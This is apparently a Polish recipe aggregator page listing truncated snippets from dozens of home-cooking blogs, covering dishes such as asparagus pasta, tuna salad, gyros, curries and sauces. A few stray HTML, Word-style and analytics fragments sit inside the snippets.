tylko w Polsce chwilę, ale jak pojawia się sezon to trzeba to wykorzystać. Można je podawać na wiele sposobów. Ja dziś proponuję makaron z chrupiącymi szparagami i do tego sos na bazie mleczka kokosowego. Ja szparagów nie obieram, odłamuję tylko zdrewniałą część i dobrze myję pod bieżącą wodą. Będzie pysznie :) Składniki: 300g makaronu 1 łyżka oleju kokosowego 1 duża cebula

Apetyt na Zielone
Piknikowa , jogurtowo – brokułowa sałatka 198

dodać odrobinę miodu , ale nie więcej niż 1 łyżeczkę , żeby nie było słodkie ) . Następnie w dużej misce układamy kilka różyczek brokułu , parę kawałków jajka , skrapiamy – polewamy niewielką ilością sosu i posypujemy słonecznikiem i tak warstwami , powtarzamy aż do wyczerpania składników . Gotowe " class="wp-smiley" style="height: 1em; max-height: 1em;" /> Smakuje świetnie o każdej porze dnia i nocy " class

Ogrodnik w podróży
Sałatka z tuńczyka z ryżem 251

Prosta sałatka z tuńczyka, która sprawdzi się nie tylko jako pyszna kolacja, ale również można ją zabrać w pojemniku na śniadanie do pracy. SKŁADNIKI 1 puszka tuńczyka w sosie własnym 4 jajka 100 g ryżu (1 torebka) 1 mały słoik ogórków konserwowych 1 mała puszka kukurydzy 1 mała cebula 2-3 łyżki majonezu 2 łyżeczki musztardy sól, pieprz, szczypta ziół

Passions hobbies life
Steki z tuńczyka na ratatuj 155

Pomidory wymieszałem z podsmażonymi wcześniej warzywami - cukinią, bakłażanem i papryką, po czym przełożyłem do naczynia żaroodpornego i włozyłemdo piekarnika rozgrzanego do 180 stopni C. Zapiekałem około pół godziny, aż sos się zredukował. Steki z tuńczyka umyłem. Doprawiłem czarnym pieprzem, solą oraz rozmarynem. Smażyłem na dobrze rozgrzanej patelni grilowej od 1,5 do 3 minut z każdej strony, w zależności

R'n'G Kitchen
Kotlety z metki tatarowej i sera 147

dzielimy na dwie części, każdą owijamy wokół sera. Obtaczamy w mące i obsmażamy na rozgrzanym oleju. Cebulę siekamy, szklimy na tłuszczu i zalewamy gorącym bulionem warzywnym. Kotlety przekładamy do sosu i dusimy. Po kilku minutach dodajemy ryż, dusimy razem do jego miękkości. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

R'n'G Kitchen
Szaszłyki z karkówki 181

patyki szaszłykowe nadziewać naprzemiennie warzywa i mięso z karkówki. Najlepiej, aby szaszłyki rozpoczynały się i kończyły na papryce. Przygotowane szaszłyki smażyć na dobrze rozgrzanym grillu. Podawać z ulubionym sosem

Ugotować
Pałki z kurczaka z miodem. 201

Składniki : 10 pałek z kurczaka  marynata : 3 łyżki naturalnego miodu 4 łyżki oliwy 1 łyżeczka słodkiej papryki 1 płaska łyżeczka ostrej papryki 1 łyżeczka sosu sojowego 3-4 ząbki czosnku ( przeciśnięte przez praskę lub drobno posiekani i zmiażdżone ) Sposób wykonania :   W ymieszaj dokładnie wszystkie składniki na marynatę i natrzyj ją dokładnie wszystkie pałki z kurczaka. Odstaw na całą

Przepisy i porady kulinarne
Bazyliowe curry ze szparagów i dyni z makaronem ryżowym 190

małym ogniu pod przykryciem max 10 minut. Dodaj suchy makaron ryżowy i poszarpaną bazylię. Zdejmij garnek z ognia, przykryj pokrywką i odczekaj 3-5 minut, aż makaron wchłonie sos. Gotowe! Smacznego

greenscarf
Krewetki w tempurze kokosowej 214

każdą postacią, a takich w chrupiącej tempurze jeszcze nie próbowaliśmy, czas przyszedł i na nie. Krewetki są mega pyszne, chrupiąca skorupka pod którą jest miękkie wnętrze. Do tego sos z mango dopełnia całości, lekko słodkawy i kwaskowaty, pyszny. Zapach kokosu podczas smażenia jest rewelacyjny, polecam. Krewetki w tempurze kokosowej. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Sajgonki z kurczakiem i warzywami 254

Orientalne danie na obiad Składniki 1 arkuszy papieru ryżowego 1 filet z kurczaka 100 g krewetek koktajlowych 1 marchewka 1/2 papryki kawałek cukinii 1 łyżka masła 2 ząbki czosnku sos … Czytaj dalej Sajgonki z kurczakiem i warzywami

czarrna od kuchni
Grillowany kurczak z warzywami. 194

lodówki. Wyjmij mięso z lodówki 30 minut przed wrzuceniem na grilla.   GRILLOWANE WARZYWA Marynata: 1 łyżka oleju 1 łyżeczka soku z cytryny 1 łyżeczka musztardy francuskiej 1/2 łyżeczki sosu sojowego szczypta ostrej papryki 1/2 łyżeczki papryki słodkiej 1/2 łyżeczki miodu Ulubione warzywa - u mnie: 4 papryki bez gniazd nasiennych, pokrojone w szerokie paski 1 cukinia - nieobrana, pokrojona w paski

Powiedz dietom nie
Łososiowy omlet z zieleniną 199

wierzchu poukładać niewielkie kawałki łososia. Smażyć na średnim ogniu z obu stron. Podawać z ulubioną zieleniną, pomidorkami i szczypiorkiem. Z podobnym omletem zrobiłam również pyszną kanapkę z dodatkiem majonezowego sosu worcester

Codzienna kuchnia niecodzienna
Sałatka makaronowa z łososiem 274

Lekka sałatka z sosem winegret. Składniki 150 g makaronu 100 g łososia wędzonego 4 jajka 2 garści roszponki 1/2 puszki kukurydzy winegret: 4-5 łyżek oleju z chili 2 ząbki czosnku … Czytaj dalej Sałatka makaronowa z łososiem

czarrna od kuchni
Schab faszerowany suszem 232

mnie duża porcja  2 kg schabu bez kości 200 gramów suszonych śliwek 200 gramów moreli suszonych sól Pomada miodowa: 3 łyżki oleju 3 łyżki miodu 2 łyżeczki sosu sojowego ciemnego odrobina pieprzu WYKONANIE Mięso dobrze myjemy i   nożem nacinamy go wzdłuż na głębokość około 1,5 cm w pięciu rzędach. dokładnie solimy. Wycięcia napełniamy suszonymi owocami. W każdym

W kuchennym oknie Ewy
POLĘDWICZKA W MUSZTARDZIE FRANCUSKIEJ 160

polędwicę ze wszystkich stron. Następnie przekładamy polędwicę do formy żaroodpornej wysmarowanej olejem i pieczemy ok.20 min w 180 stopniach (stopień upieczenia zależy od naszych upodobań.) Polędwiczkę podałam z ryżem, sosem pieczarkowym  i surówką

słodki bratek
Domowy paprykarz szczeciński (wersja 2) 203

przecieru pomidorowego w kartonie 1 puszka pomidorów bez skórki 2 ząbki czosnku 3 liście laurowe 2 łyżeczki papryki ostrej 2 łyżeczki papryki wędzonej 3 łyżeczki papryki słodkiej 3 łyżki sosu sojowego sól pieprz oliwa 2 łyżki masła do gotowania ryżu 1 szklanka wody Wykonanie: Ryż ugotować na sypko: Ryż przesypać do miski, zalać zimną wodą i odstawić na 15 minut

Mama Gotuje
Nadziewana tortilla a la pizza z mięsem mielonym, serem i sałatą 334

solą ziołową i pieprzem. Smażymy kilka minut, mieszając. Do podsmażonego mięsa dolewamy odrobinę wody, dodajemy koncentrat pomidorowy. Całość dokładnie mieszamy i przykrywamy pokrywką. Nasz farsz nie ma mieć formy sosu (nie może być zbyt płynny). Zostawiamy na małym ogniu, aby mięso w pełni doszło. Na jedną tortillę, która będzie stanowić spód, wykładamy porwane liście sałaty rzymskiej. Następnie ścieramy żółty

Słodkie okruszki
CIASTKO CZEKOLADOWE ala BROWNIE – czekoladowy deser w słoiczku 199

dekoracyjnym słoiczku, Świetnie nadaje się na imprezę, na szybką, słodką przekąskę, albo słodki poczęstunek dla nieproszonych gości! Możemy polać czekoladą , posypać cukrem pudrem , albo oblać sosem karmelowym i podać z waniliowymi lodami – każda wersja smakuje idealnie! Ciastko czekoladowe jest puszyste w środku i wilgotne … takie idealne! Polecam! SKŁADNIKI: * mąka – 2 łyżki * cukier – 1 łyżka * kakao

Ostra na Słodko
PSZENNE PLACUSZKI Z RICOTTY Z KARMELIZOWANĄ POMARAŃCZĄ I GRANATEM 183

trzcinowy, zalać go miodem oraz sokiem wyciśniętym z jednej pomarańczy. Drugą pomarańczę obrać ze skórki, pokroić w plastry, a następnie w ćwiartki i wrzucić na patelnię. Smażyć aż sos zgęstnieje do konsystencji syropu. Gotowe placuszki polewamy karmelizowanymi pomarańczami i posypujemy nasionkami granatu. Placuszki można polać również innym syropem, np. klonowym, bądź jagodowym i posypać świeżymi owcami sezonowymi typu truskawki

Calzonella.com
Roladki z pomidorem i fasolką 302

Szybkie i smaczne Składniki 1/2 kg schabu suszone pomidory 2 garście fasolki szparagowej 2 plasterki sera żółtego ostry sos do panierowania: jajko sól, pieprz bułka tarta Sposób przygotowania Schab przekroić … Czytaj dalej Roladki z pomidorem i fasolką

czarrna od kuchni
Gyros z karkówki 215

Gyros z karkówki jest prostym i smacznym daniem. Można podawać go na różne sposoby. U mnie z frytkami i surówką z kapusty. Dodatkowo przygotowałam sos czosnkowy. Składniki: 1,5 kg karkówki 1/4 butelki magi 1/2 paczki czosnku granulowanego 1/2 paczki papryki słodkiej 1/4 łyżeczka pieprzu ziołowego 1/4 łyżeczki pieprzu czarnego 1/2 paczki majeranku 1/2 szklanki wody 1/4 szklanki oleju Sposób

Darcia w kuchni
Najszybsza włoska pizza 453

się zrumieni. Po upieczeniu układamy na wierzchu liście bazylii. *Z pomidorami z puszki jest mniej zachodu i znacznie przyspiesza pracę, ale trzeba pamiętać, aby je odcedzić, bo zbyt wodnisty sos rozmoczy nam pizzę

Kulinarne Inspiracje
Roladki z pastą brokułowo paprykową z dodatkiem warzyw w śmietanie i kaszą 174

mięso. Po 5 minutach dodajemy warzywa na patelnię. Wszystko razem smażymy, od czasu do czasu mieszając. Pod koniec podlewamy bulionem wymieszanym ze śmietanką. Dusimy do momentu zredukowania i zgęstnienia sosu. Podajemy z ugotowana w delikatnie osolonej wodzie kaszą gryczaną

VioletoweKucharzenie
Zapiekanka z ziemniaków i cukinii 409

całej potrawy ). Ziemniaki i cukinię układamy naprzemiennie w naczyniu ( jak na zdjęciu ), posypujemy z wierzchu szczyptą soli i czosnku suszonego. Z mleka, serka, jajka i przypraw robimy jednolity sos ( można zrobić to w garnuszku, by serek łatwiej się rozpuścił ), którym polewamy ziemniaki i cukinię. Wkładamy do piekarnika nagrzanego do 160 stopni i pieczemy do miękkości ziemniaków. Artykuł Zapiekanka z ziemniaków

NiePieprz.pl
Schab duszony 184

Marchewkę obrać i zetrzeć na tarce na małych oczkach, pomidory pokroić, dorzucić do mięsa. Doprawić, i dusić przez ok 20 min, W razie potrzeby można dolać wody, albo zagęścić sos mąką ;) Smacznego

Idę coś wszamać
Pulpety z serem żółtym 197

wsypujemy do szklanki, roztrzepujemy dokładnie w odrobinie wody i wlewamy do mięsa ciągle mieszając. Jeszcze chwile wszystko dusimy. Wykładamy na talerz, na każdym pulpecie kładziemy kawałek sera i polewamy sosem. Smacznego

Idę coś wszamać
Kurczak w sosie jogurtowo-musztardowym 204

mieszamy. Mięso kroimy i dorzucamy do jogurtu, mieszamy, wstawiamy do lodówki na ok 2 godziny. Cebulę kroimy i podsmażamy. Dorzucamy mięso, smażymy, pod koniec dodajemy groszek. Ja do gotowego sosu dorzuciłam jeszcze ugotowany ryż i podsmażyłam chwilę na patelni

Idę coś wszamać
Bezglutenowy pasztet sojowy z okary 256

pasztet sojowy z okary Składniki: okara z 400g soi  2 duże marchewki (ok. 350g) duża pietruszka (ok. 170g) 2 średnie cebule 4 łyżki mąki kukurydzianej 2 łyżki sosu  sojowego 2 łyżeczki czosnku 1 łyżeczka majeranku 1 łyżeczka natki pietruszki sól, pieprz woda Przygotowanie: Obrać marchewkę i pietruszkę. Ugotować w osolonej wodzie

wegujemy
Wegański majonez z ziemniaka (beztłuszczowy) 240

beztłuszczowy(!) majonez, który w przeciwieństwie do tradycyjnej wersji można jeść ile się chcę. Taki majonez sprawdzi się świetnie do sałatek czy jako baza do sosów.  Wegański majonez z ziemniaka (beztłuszczowy)  Na podstawie  tego przepisu . Składniki: 2 średnie  ziemniaki (ok. 150g) 2 łyżeczki soku z cytryny lub octu jabłkowego 3 łyżeczki

wegujemy
4 pomysły na wegańskiego grilla 142

Składniki (na dwa duże burgery): 1 puszka groszku 1 łyżeczka czosnku 1 łyżeczka słodkiej papryki 1 łyżeczka curry 1/2 łyżeczki imbiru 1 łyżeczka cukru 1 łyżeczka majeranku 1 łyżka sosu sojowego  1 łyżka płatków drożdżowych 2 łyżki mąki jaglanej olej bułka dodatki do burgera - u mnie kapusta pekińska, ogórek konserwowy, pomidor, cebula i   ketchup Przygotowanie: Groszek odsącz

wegujemy
Ulubieńcy kwietnia 216

pory moim ulubionym burgerem w Krowarzywa był Seitanex. W tym miesiącu spróbowałam wreszcie Tofexa i teraz zdecydowanie ten burger jest moim ulubieńcem. Polecam szczególnie wersję z sosem pomidorowym i koperkowym :) Pierwszym ulubieńcem pielęgnacyjnym jest kolejny szampon Alterry. Po zużyciu tego z kofeiną przyszedł czas na wypróbowanie migdałowego. Szampon ma cudowny zapach no i najważniejsze, że bardzo dobrze sprawdza się

wegujemy
Wiosenny placek lotaryński ze szparagami, pokrzywami, czosnkiemniedźwiedzim i olejem rzepakowym 193

olej rzepakowy,  naturalne źródło steroli roślinnych i witaminy E i dlatego świetnie pasuje do tego wiosennego towarzystwa. Placek można podać na ciepło lub zimno, ze świeżymi warzywami i sosem jogurtowym. Czas przygotowania: Porcje: 2 formy do ciasta  Składniki: Ciasto 150 g mąki pszennej 75 g schłodzonego masła w kawałkach 1 łyżka zimnej wody 1 jajko,  schłodzone

SzczyptaSmaQ
Roladki wołowe z papryką i pieczarkami 197

znacznie czas przygotowania. Na koniec odlewamy niewielką ilość wywaru dodajemy do niego śmietanę i mąkę. Dokładnie mieszamy i umieszczamy w pozostałym wywarze. Gotujemy chwilę aż do zagęszczenia sosu. Podajemy z kaszą lub ziemniakami i surówkami. SMACZNEGO. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments

Smaki Ewy
Piramidki POPCROP. Chrup pysznie i zdrowo. 223

energię na długi czas. Aromatyczna nuta ziaren z wyczuwalną nutą kaszy gryczanej doprawiona solą morską powinna przypaść do gustu większości z Was. Smakują dobrze same, jak i z ulubionymi sosami, dodatkami warzywnymi itp. Do produkcji piramidek BIO POPCROP używane są wyłącznie ziarna pochodzące z certyfikowanych upraw ekologicznych, w których nie stosuje się sztucznych nawozów czy środków ochrony roślin. Tradycyjny smak

Słodkie okruszki
Zywienie osob starszych czyli KUKBUKowe warsztaty z Sokolowem 190

działania będą jaja w koszulkach! zupa się warzy jajka się hartują... ... i szparagi też :) szparagi na masełku... i na talerzu... szparagi na maśle, z boczkiem, jajkiem w koszulce i sosem berneńskim zupa z białych warzyw (ziemniak, cebula, szparag) polędwiczka z puree z soczewicy, z warzywami pęczak z ziołami i warzywami ze schabem deser... pierożek z ciasta filo, z musem

Dzieje kuchennej Wiewióry
SZYBKA ZAPIEKANKA Z KASZĄ JAGLANĄ 163

kurczaka i warzywa, mieszamy, doprawiamy pieprzem do smaku. Na wierzchu układamy kawałki fety. Całość przekładamy do foremek do zapiekania wysmarowanych wcześniej oliwą, zapiekamy ok. 10 min. Podajemy z ulubionym sosem, np. czosnkowym

słodki bratek
ROLADKI Z INDYKA Z WARZYWAMI W CIEŚCIE FRANCUSKIM 344

cieście francuskim tworzą fantastyczne danie, którego nie powstydziłaby się dobra restauracja. Są świetnym pomysłem zarówno na rodzinny obiad, jak i np. imprezowe danie. Podane z ulubioną, lekką sałatką albo sosami ( czosnkowy pasuje rewelacyjnie! ) zachwycą podniebienia nawet najbardziej wybrednych smakoszy! Koniecznie spróbujcie! Ps. od jakiegoś czasu zdecydowanie chętniej niż po indyka na wagę sięgam po indyka pakowanego . Zwracam jednak uwagę

Ostra na Słodko
Ulubieńcy kwietnia 234

chwili z nieba leciały kulki gradu. Piękny początek wiosny! <3 kwiecień w jednym słowie: wiosna najczęściej odwiedzane posty w kwietniu: naleśniki śniadaniowe do łóżka makaron z warzywami i sosem pomidorowym chia chia kawowa pizza z wegan stripsami tort czekoladowy Paczka z frisco.pl W sklepie frisco.pl znajdziecie

wegetalerze
Grillowane zielone szparagi z boczkiem 191

Szparagi sparzyć i  troszkę posolić . Zwijać po 4-5 sztuk w plasterek boczku. Można posypać ulubionymi ziołami. Grillować 7-10 minut, aż boczek się zrumieni. Ja podaję z sosem czosnkowym

Magiczne Życie Marty
grillowane żeberka wieprzowe 179

Wrzucamy do niej żeberka i gotujemy przez ok. 10 min. Po tum czasie odsączamy je i umieszczamy w dużej szklanej misie. W osobnym naczyniu mieszamy wszystkie składniki na jednolity sos. Polewamy nim żeberka, dokładnie obtaczamy aby całe były pokryte marynatą i wstawiamy do lodówki na minimum 60 min. Następnie wyciągamy żeberka z marynaty i grillujemy nag gorącymi węglami przez

Domowy Smak Jedzenia
Curry z mleczkiem kokosowym i dzikim ryżem :) 186

pierwszy. Gotuje się go dość długo, ale smak rekompensuje czas oczekiwania! Dziki, czarny ryż jest przepyszny i wbrew pozorom miękki. Potrawka wyszła genialna! Mleczko kokosowe robi swoje! Sos curry jest niezwykle kremowy, z kokosowym akcentem. Nieco gęsty, delikatny, niezbyt ostry. Intensywnie żółty i aromatyczny :) To danie to jedne z lepszych jakie zrobiłam! Jest przepyszne, polecam! ;) Składniki (2 porcje

Zdrowie na języku :P
Makaronowa sałatka (light) z warzywami w ziołowym jogurcie 235

warzywami w ziołowym jogurcie. Wykorzystany do sałatki makaron kukurydziany, który otrzymałam od Rodzinnej Wytwórni Makaronów Fabijańscy , dodaje jej lekkości, zdrowia i niepowtarzalnego smaku. Do tego pyszne warzywa i lekki sos. Nic tylko jeść. Spróbujcie. Makaronowa sałatka (light) z warzywami w ziołowym jogurcie Makaronowa sałatka (light) z warzywami w ziołowym jogurcie 2016-05-01 22:06:16 Write a review Save

Słodkie okruszki
Sos Tzatziki 201

Bardzo szybki i dobry sos na letnie grillowanie i nie tylko. Smacznego  SKŁADNIKI:  1 duży ,świeży ogórek 2 ząbki czosnku  sól i pieprz 3 łyżki jogurtu naturalnego 1 łyżka majonezu  SPOSÓB PRZYGOTOWANIA :  Ogórka obieram, myję a następnie trę na tarce na grubych oczkach,odsączam z nadmiaru soku. Czosnek kroję bardzo drobno, wsypuję do miseczki. Dodaję

Gotowanie Patki
Naleśniki kukurydziane ze szparagami pod beszamelem (bezglutenowe) 181

więc spróbować z mąką kukurydzianą i to był strzał w dziesiątkę. Piękny kolor, smak idealny i niczym się nie różnią od tradycyjnych. Idąc za ciosem spróbowałam również zrobić bezglutenowy sos beszamelowy. I tu również odnotowałam sukces. W sumie wyszło z tego pyszne danie. Jedyne co mnie w nim „uwiera” to obawa czy aby przypadkiem ta kukurydza z której wyprodukowano mąkę

Wiem co jem
Sos czosnkowy 477

zwolennicy i przeciwnicy sosu czosnkowy. Niektórym osobom przeszkadza dosyć specyficzny i ostry smak. Ale są też osoby takie jak ja, które go uwielbiają. Lubię go jako dodatek do pizzy, zapiekanek, frytek, wędlin, kiełbasek z grilla a także do kurczaczków. Mój jest mocno czosnkowy, bo taki lubimy. Składniki: 3-4 łyżki majonezu 1 łyżka gęstej śmietany 18% 4-5 ząbków czosnku

Ala piecze i gotuje
Śmietanowiec na majówkę i "To będzie mój dom" 178

godzinie, ale warto potrzymać w lodówce ok. 3 godzin. Będzie się wtedy lepiej kroił i przekładał na talerzyki. ----- Podobne: Bananowce bez pieczenia Jaglana szarlotka bez pieczenia Panna cotta z sosem rabarbarowym Na okładce książki Dona Wallace'a "To będzie mój dom" widnieje informacja, pod którą podpisała się Meryl Streep: "Urocza, barwna historia... To będzie nasz dom ma swój własny, niepowtarzalny

Weekendy w domu i ogrodzie
Risotto ze szparagami 202

kulinarnej, a ta wymaga ryżu arborio, masła, bulionu, wina, parmezanu i cierpliwości. Mamy sezon na szparagi, które wszędzie pojawiają się na dwa sposoby – pieczone z boczkiem lub podawane z sosem holenderskim. Owszem, to jest fajne i dobre, ale zróbmy coś innego. Ja proponuję risotto ze szparagami i suszonymi pomidorami. Na risotto ze szparagami potrzebujemy: ryż arborio — około ½ szklanki suchego ryżu

ladykitchen
Sałatka jajeczna z serem i kiełbasą krakowską 161

przegryzienia moje ulubione ostatnio włoskie grissini, czyli paluszki, które wypiekane są z ciasta chlebowego, a najczęściej podawane z prosciutto i rukolą. Wyborne! Doskonale smakują w połączeniu z pastami, gęstymi sosami jak pesto i sałatkami takimi jak ta, którą zrobiłam dzisiaj w kilka chwil. Mistrzynią jajecznych sałatek była moja Babcia Małgosia. Sałatka jajeczna z serem i kiełbasą krakowską Składniki: jajko ugotowane

Moja smaczna kuchnia
Kotleciki jajeczne smaczne, chrupiące i złociste 439

sztuk średnich kotlecików). Każdy z nich otoczyć w bułce tartej. Smażyć na rozgrzanym tłuszczu, z każdej strony, do zarumienienia. Podawać z surówkami. Idealnie do kotlecików pasuje sos czosnkowy . Smacznego! The post Kotleciki jajeczne smaczne, chrupiące i złociste appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Skrzydełka a’la KFC + film 384

Pyszne, chrupiące skrzydełka a’la KFC w pikantnej panierce to świetny pomysł dla wielbicieli fast-foodów. Takie skrzydełka doskonale smakują w towarzystwie ulubionych sosów, idealnie nadają się na obiad, spotkania ze znajomymi lub przyjęcia dla dzieci.       Składniki na 3 porcje : 10 – 12 skrzydełek z kurczaka 1 łyżka soli 1 płaska łyżeczka czarnego mielonego pieprzu

Smakowite Dania
Fit sałatka z kurczakiem i orzechami! 207

sałatka na kolacje? Najprostszy na świecie przepis na pyszną sałatkę: - młoda botwinka - rukola - 1/2 gruszki pokrojonej w cieniutkie plasterki - kilka orzechów włoskich - jagody goi - kilka kostek ugotowanego kurczka (filet) - sos: sok z limonki, oliwa z oliwek, troszkę wody i musztardy Smacznego

SMYKWKUCHNI
Kaszotto z jaglanej potrójnie zielone! 155

wzbogać smak kaszotta o 150 ml śmietanki - kasza jaglana  200g - kurkuma WYKONANIE: W rondelku o grubym spodzie, rozgrzej oliwę i masło, podsmaż czosnek, cukinię, groszek, dodaj wino, zredukuj sos przez odparowanie. Dodaj kaszę, przyprawy i 150 ml wody, ciągle mieszaj. Kasza będzie chłonąć wodę, Dodaj kolejne 150 ml wody, co jakiś czas mieszaj, czynność powtarzaj aż kasza będzie ugotowana

SMYKWKUCHNI
Owsiano twarogowe ciasto śniadaniowe (z jagodami i migdałowymi ziarenkami) 273

boki powinny być dobrze zarumienione, a ciasto odchodzić od papieru (nie być lepkie). Podajemy jeszcze ciepłe, krojąc na kawałki. Jeśli lubicie dodatki możecie takie ciasto podać z jogurtem, owocowym sosem itp. Smacznego By Magdalena beta calories 0 fat 0g protein 0g carbs 0g more Słodkie okruszki http://www.slodkieokruszki.pl

Słodkie okruszki
Kiełbasa biała pieczona. Polska klasyka obiadowa na co dzień i od święta 221

ulubionymi, najlepiej tradycyjnymi dodatkami. Jeśli jednak kiełbasę chcemy przyrządzić wcześniej co by przed samym przybyciem gości nie nasmrodzić w domu - upieczoną wstępnie, przekładamy do naczynia żaroodpornego i zalewamy wytopionym sosem. W dzień podania odpiekamy kiełbasę w przykrytym naczyniu z dodatkiem pokrojonego w ćwiartki jabłka (bez obierania). Wychodzi pysznie, aromatycznie soczyście z pyszną polewą ziołowo - jabłkową. Mmmm... było pysznie. I pewnie

Kuchnia po mojemu
WĄTRÓBKA W SOSIE ŚMIETANOWO-CHRZANOWYM 318

pół krążki. Wrzucamy do wątróbki. Gdy cebula będzie zeszklona, doprawiamy solą i pieprzem.  Podlewamy wodą i dodajemy chrzan. Mieszamy. Następnie śmietanę hartujemy z 1-2 łyżek powstałego już sosu. Wlewamy do wątróbki. Zdejmujemy z ognia, posypujemy majerankiem. SMACZNEGO

Prosto i Smacznie z Anetą
MAKARON ZE SZPARAGAMI I POMIDORKAMI 192

lubimy ćwiczyć.Szybko,lekko i bardzo zdrowo.Używam makaronu tylko z pszenicy durum,nie tylko jest zdrowszy,ale i smaczniejszy.Poza tym nie jest prawdą,ze makaron jest tuczący....to sosy do niego powodują,że możemy przytyć. A więc spróbujcie mojej propozycji bo jest naprawdę smaczna. Składniki:   ok 40 dag makaronu rurki bądź świderki( u mnie pełnoziarnisty durum) 1 pęczek

Niespełnione zdolności kulinarne
Ryba zapiekana w sosie koperkowym 212

świeże filety ryby oprószyć solą i pieprzem i ułożyć na dnie naczynia żaroodpornego. 2. W misce wymieszać śmietanę, biały wino, sok z cytryny, dodać koperek i kurkumę. 3. Sosem polać rybę, zapiekać w 180 st.C przez 30-40 minut, do momentu, aż ryba nie będzie surowa. Smacznego!!! Źródło: Nikol od kuchni

Kuchnia domowa Ani
Gulasz z warzywami 192

mięso będą miękkie. Na koniec wkładamy brokuła podzielonego na różyczki i dusimy jeszcze do jego miękkości. W razie potrzeby mąkę ziemniaczaną rozprowadzić w małej ilości wody, wlać do sosu i zagotować. Doprawić solą, pieprzem, i paprykami. gulasz z warzywami

O kuchni z uczuciem
Gulasz wieprzowy z grzybami leśnymi 196

Jeśli gulasz wyjdzie za rzadki, można go zagęścić mąką ziemniaczaną - 1 łyżka tu wystarczy . Należy ją wcześniej rozprowadzić w 2-3 łyżkach zimnej wody, następnie zahartować kilkoma łyżkami gorącego sosu i dopiero wtedy dolać do garnka. Po dodaniu mąki, dusić jeszcze z 5 minut. Na końcu doprawić do smaku solą, pieprzem, ewentualnie pieprzem cayenne. Podawać z ulubionym makaronem - u mnie

Grunt to przepis!
Mule w sosie maślano-cytrynowym 222

Idealna przystawka: mule w maślano-cytrynowym sosie z dodatkiem białego wina, podane z chrupiącą bagietką. Pycha <3 Zapraszam do przygotowań!   Składniki na 4 porcje: 270 g obranych mrożonych muli 100 g masła 1 średnia cebula, drobno posiekana 2 ząbki czosnku, pokrojone w cienkie plasterki 1/3 szklanki białego wytrawnego wina sok z 1/2 cytryny 4-5 łyżek mleka kokosowego

My Culinary Art
Smażone kuleczki z ricotty (czekoladowe) 211

głębokim, mocno rozgrzanym oleju - z obu stron (aż się lekko zarumienią; dłużej smażone będą pękać). Po usmażeniu kulki odsączyć z nadmiaru tłuszczu (na ręczniku kuchennym) i opcjonalnie polać sosem czekoladowym

Di gotuje
Soczysty indyk - jak z grilla. Przepis obiadowy na brzydką majówkę 202

Zamarynowane przez noc mięsko układamy w naczyniu żaroodpornym. Wylewamy resztę  marynaty. Zapiekamy pod przykryciem w 170 stopniach przez około 40 minut. Podczas pieczenia przekręcamy mięsko i polewamy wypieczonym sosem by nie było suche. Pomysł powstał spontanicznie. Początkowo mięso miało być grillowane na patelni. Ale dla tylu osób ... to tyle roboty :) Zaradna Siostra wymyśliła naczynie żaroodporne, co okazało się strzałem

Kuchnia po mojemu
Sardynkowa sałatka Graala 180

Jakiś czas temu temu otrzymałam od firmy GRAAL przesyłkę z rybkami w puszkach, za co serdecznie dziękuję. Oto one: Na pierwszy rzut poszły... Sardynki w sosie paprykowym Postanowiłam wymodzić z nich... Sardynkową sałatkę makaronową Przepis jest prosty ;) Ugotowany  makaron świderki i wymieszana z nim zawartość puszki. Prawda, że wygląda nieźle? Tak czy inaczej danie było nietypowe:) Powiem tak... Miło

Ukojenie Podniebienia
Pomidory z oliwkami do słoików na zimę 131

Pomidory i oliwki są zdecydowanie trafnym połączeniem (np. w zupie, sosie, jako baza pod pizze) W tym roku kolejny debiut w moich przetworach- w roli głównej pomidor i oliwka :) Składniki: 2 kg pomidorów 1 szklanka czarnych oliwek 6 łyżek czerwonego octu 6 ząbków czosnku 1 szklanka oliwy 1 łyżeczka chili sól i pieprz do smaku natka pietruszki Wykonanie: Pomidory sparzyć

Tradycyjna Kuchnia
Lasagne lazania z mięsem mielonym 192

słowo lasagne pochodzi z języka greckiego i oznacza naczynie, w którym danie było początkowo przygotowywane. Prawdziwy przełom w przyrządzaniu dania nastąpił pod koniec XVII wieku. Wtedy to zaczęto stosować sos pomidorowy, który zrewolucjonizował całą kuchnię Półwyspu Apenińskiego, w tym także lasagne. ( źródło http://kuchnia.wp.pl /) Składniki: 6 płatków lasagne ½ kg mięsa wieprzowego mielonego 1 cebula 10 listków czosnku niedźwiedziego

Tradycyjna Kuchnia
Sałata z winegretem malinowym 290

obiadu Składniki 1 mała sałata rzymska garść liści szpinaku 1 marchewka 1/2 pora   sos: 2 ząbki czosnku 1 płaska łyżeczka musztardy 4 łyżki oliwy 3 łyżeczki octu malinowego … Czytaj dalej Sałata z winegretem malinowym

czarrna od kuchni
Pieczeń z jajkiem + film 160

Pieczeń z jajkiem to smaczne i efektowne danie świąteczne idealne na wielkanocny stół. Można ją podać na gorąco do obiadu z ziemniakami i surówką, bądź na zimno z sosem chrzanowym jako przystawkę.     Składniki na formę do babki lub keksówkę: 5 jajek ugotowanych na twardo 1 kg mięsa mielonego wieprzowo- wołowego 2 mniejsze czerwone cebule 2 ząbki czosnku

Smakowite Dania
Piknikowe crumble w słoiku. Rabarbar i truskawki. 156

podnieć temperaturę do 180 st. C i piecz crumble przez ok. 30 minut (stopniowe podniesienie temperatury ma zapobiec ewentualnemu pęknięciu słoików). Owoce powinny się ugotować i zamienić w gęsty sos, z kolei kruszonka lekko zezłocić.  Gotowe crumble wyjmij z piekarnik i wystudź. Gdy będą już zimne, możesz zakręcić słoiczki nakrętkami i zabrać crumble na piknik. Pamiętaj tylko o zabraniu

Chilli Czosnek i Oliwa
Ziemniaczane curry z sezamem i pieczoną modrą kapustą 188

jest na zdjęciu)- śmiało można pominąć, bo danie jest i tak bardzo aromatyczne 1 mała młoda modra kapusta pół łyżeczki soli 3 łyżki oleju roślinnego/oliwy *polałam ją sosem figowym Przygotowanie: Ugotuj ziemniaki w mundurkach, przestudź i wedle upodobań obierz ze skórki lub też nie. Na dużej patelni rozgrzej olej, wrzuć wszystkie przyprawy oraz sezam, i podsmaż przez

greenscarf
Domowa musztarda 212

